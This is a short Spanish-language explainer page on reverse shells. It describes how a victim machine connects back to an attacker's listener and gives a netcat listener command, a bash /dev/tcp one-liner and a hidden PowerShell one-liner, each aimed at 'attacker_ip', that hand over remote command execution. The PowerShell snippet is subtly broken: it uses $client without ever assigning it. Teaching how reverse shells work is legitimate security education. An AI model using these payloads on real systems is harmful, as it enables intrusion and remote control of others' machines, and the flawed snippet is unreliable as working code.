¿Reverse Shell?
Una reverse shell es un tipo de shell donde el flujo de comunicación se invierte. En lugar de que el atacante se conecte directamente a la máquina objetivo, la máquina objetivo establece una conexión de vuelta al atacante. Esto puede ayudar a evadir firewalls y otras medidas de seguridad que bloquean conexiones entrantes.
Funcionamiento de una Reverse Shell
Atacante: Inicia un listener en su máquina para esperar conexiones entrantes.
Víctima: Ejecuta un payload que abre una conexión hacia la máquina del atacante.
Control Remoto: Una vez establecida la conexión, el atacante puede enviar comandos y controlar el sistema de la víctima.
Ejemplo de Reverse Shell en Bash (Linux):
Atacante:
nc -lvnp 4444
Víctima:
bash -i >& /dev/tcp/attacker_ip/4444 0>&1
Ejemplo de Reverse Shell en PowerShell (Windows):
Atacante:
nc -lvnp 4444
Víctima:
powershell -NoP -NonI -W Hidden -Exec Bypass -Command "New-Object System.Net.Sockets.TCPClient('attacker_ip',4444);$stream = $client.GetStream();[byte[]]$bytes = 0..65535|%{0};while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){;$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i);$sendback = (iex $data 2>&1 | Out-String );$sendback2 = $sendback + 'PS ' + (pwd).Path + '> ';$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);$stream.Write($sendbyte,0,$sendbyte.Length);$stream.Flush()};$client.Close()"
Última actualización
¿Te fue útil?